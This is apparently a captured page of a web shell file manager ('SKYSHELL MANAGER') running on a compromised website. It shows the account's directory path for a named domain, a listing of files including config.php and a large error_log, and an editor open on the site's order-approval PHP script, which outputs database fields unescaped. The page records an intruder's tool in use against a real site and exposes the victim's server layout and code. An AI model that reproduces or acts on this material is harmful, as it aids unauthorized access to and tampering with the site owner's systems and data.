📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
4906.98 KB
0644
🗑️
⬇️
✏️
🔒
Editing: voidrequests.php
<?php $sql = "SELECT * from stock_orders WHERE status='pending' ORDER BY s DESC"; $sql2 = mysqli_query($con,$sql); $count = mysqli_num_rows($sql2); while ($row = mysqli_fetch_array($sql2)) { echo "<tr> <td>" . $row['name'] ."</td> <td>" . $row['quantity'] ."</td> <td>" . $row['price'] ."</td> <td>" . $row['date'] ."</td> <td>" . $row['staff'] ."</td> <td> <button class='btn btn-primary btn-sm dropdown-toggle' type='button' id='dropdownMenuButton1' data-toggle='dropdown'> Actions </button> <div class='dropdown-menu dropdown-menu-right'> <h6 class='dropdown-header'>Actions</h6> <form action='' method='post'> <input type='text' name='requestid' value='".$row['s']."' required hidden> <button type='submit' class='dropdown-item' type='submit' name='submitvoid' value='approved' class='btn btn-sm btn-primary shadow-sm' $statbtn>Approve Request</button> <button type='submit' class='dropdown-item' type='submit' name='submitvoid' value='rejected' class='btn btn-sm btn-primary shadow-sm' $statbtn>Reject Request</button> </form> </div> </div></td> </tr>"; } ?>
💾 Save Changes